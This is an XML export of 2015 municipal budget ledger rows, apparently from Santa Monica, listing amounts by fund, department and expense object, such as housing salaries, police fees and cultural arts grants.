<row _id="13497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>715.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>715.0</total></row>
<row _id="13498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="13499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1596.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1596.0</total></row>
<row _id="13500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>855027.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>855027.0</total></row>
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<row _id="13505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401450.0</object><object_description>POLICE SERVICES/FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-7079.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7079.0</total></row>
<row _id="13506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>81440.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>81440.0</total></row>
<row _id="13507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577410.0</object><object_description>SITE IMPROVEMENTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8214.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8214.0</total></row>
<row _id="13508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10180.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10180.0</total></row>
<row _id="13509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5192.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5192.0</total></row>
<row _id="13510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4072.0</total></row>
<row _id="13511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>566470.0</object><object_description>TRAFFIC SIGNAL MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>122465.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122465.0</total></row>
<row _id="13512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13743.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13743.0</total></row>
<row _id="13513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="13514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>940.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>940.0</total></row>
<row _id="13516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3718.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3718.0</total></row>
<row _id="13517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544400.0</object><object_description>COMMUNITY ARTS GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>131980.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131980.0</total></row>
<row _id="13518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569100.0</object><object_description>SM SYMPHONY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10900.0</total></row>
<row _id="13519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1100.0</total></row>
<row _id="13520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20052.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20052.0</total></row>
<row _id="13521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1923.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1923.0</total></row>
<row _id="13522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>31060.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31060.0</total></row>
<row _id="13523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5090.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5090.0</total></row>
<row _id="13524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2749.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2749.0</total></row>
<row _id="13525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3849.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3849.0</total></row>
<row _id="13526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2560.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2560.0</total></row>
<row _id="13527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6675.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6675.0</total></row>
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<row _id="13529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20063.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20063.0</total></row>
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<row _id="13555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405010.0</object><object_description>AUTO IMPOUND RELEASE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-241322.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-241322.0</total></row>
<row _id="13556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405810.0</object><object_description>COPS - PER CAPITA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="13557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7486.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7486.0</total></row>
<row _id="13558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1018.0</total></row>
<row _id="13559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3777.0</total></row>
<row _id="13560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="13561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1425.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1425.0</total></row>
<row _id="13562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1156.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1156.0</total></row>
<row _id="13563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4072.0</total></row>
<row _id="13564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22703.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22703.0</total></row>
<row _id="13565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>520000.0</object><object_description>SUPPLIES AND EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>511.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>511.0</total></row>
<row _id="13567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40720.0</total></row>
<row _id="13568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13004.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13004.0</total></row>
<row _id="13569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="13570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15271.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15271.0</total></row>
<row _id="13571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1323.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1323.0</total></row>
